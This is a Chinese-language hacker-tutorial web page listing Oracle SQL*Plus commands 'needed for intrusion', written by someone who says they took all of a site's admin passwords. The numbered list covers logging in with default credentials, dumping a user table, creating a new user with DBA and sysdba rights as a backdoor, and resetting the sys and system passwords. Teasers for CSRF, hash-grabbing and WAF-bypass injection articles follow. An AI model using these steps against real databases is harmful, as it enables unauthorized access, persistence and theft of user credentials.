入侵Oracle数据库常用操作命令                
                
                    所属分类:
                        网络安全 / 黑客教程                    
                    阅读数:
                        117
                    
                        收藏 0赞 0分享
                    
                 
                
                    最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle 请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。 
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。 
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i; 
3、SQL>connect / as sysdba ;(as sysoper)或 
connect internal/oracle AS SYSDBA ;(scott/tiger) 
conn sys/change_on_install as sysdba; 
4、SQL>startup; 启动数据库实例 
5、查看当前的所有数据库: select * from v$database; 
select name from v$database; 
6、desc v$databases; 查看数据库结构字段 
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限: 
SQL>select * from V_$PWFILE_USERS; 
Show user;查看当前数据库连接用户 
8、进入test数据库:database test; 
9、查看所有的数据库实例:select * from v$instance; 
如:ora9i 
10、查看当前库的所有数据表: 
SQL> select TABLE_NAME from all_tables; 
select * from all_tables; 
SQL> select table_name from all_tables where table_name like '%u%'; 
TABLE_NAME 
------------------------------ 
_default_auditing_options_ 
11、查看表结构:desc all_tables; 
12、显示CQI.T_BBS_XUSER的所有字段结构: 
desc CQI.T_BBS_XUSER; 
13、获得CQI.T_BBS_XUSER表中的记录: 
select * from CQI.T_BBS_XUSER; 
14、增加数据库用户:(test11/test) 
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp; 
15、用户授权: 
grant connect,resource,dba to test11; 
grant sysdba to test11; 
commit; 
16、更改数据库用户的密码:(将sys与system的密码改为test.) 
alter user sys indentified by test; 
alter user system indentified by test; 
                                    
             
            
                
                CSRF的攻击方式详解 黑客必备知识
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF
                    
                    收藏 0赞 0分享
抓取管理员hash值(哈希)的另类方法
哈希算法将任意长度的二进制值映射为固定长度的较小二进制值,这个小的二进制值称为哈希值。哈希值是一段数据唯一且极其紧凑的数值表示形式。如果散列一段明文而且哪怕只更改该段落的一个字母,随后的哈希都将产生不同的值。要找到散列为同一个值的两个不同的输入,在计
                    
                    收藏 0赞 0分享
网站安全教程 绕过D盾进行注入的方法(图文教程)
D盾_IIS防火墙专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计! 限制了常见的入侵方法,让服务器更安全!
                    
                    收藏 0赞 0分享
局域网安全教程 HSRP攻击和防范的方法介绍(图文教程)
热备份路由器协议(HSRP)的设计目标是支持特定情况下 IP 流量失败转移不会引起混乱、并允许主机使用单路由器,以及即使在实际第一跳路由器使用失败的情形下仍能维护路由器间的连通性。换句话说,当源主机不能动态知道第一跳路由器的 IP 地址时,HSRP 协议能够保护第一
                    
                    收藏 0赞 0分享
SQL通用防注入系统asp版漏洞
今晚群里朋友叫看个站,有sql防注入,绕不过,但是有发现记录wrong的文件sqlin.asp。
                    
                    收藏 0赞 0分享
                 查看更多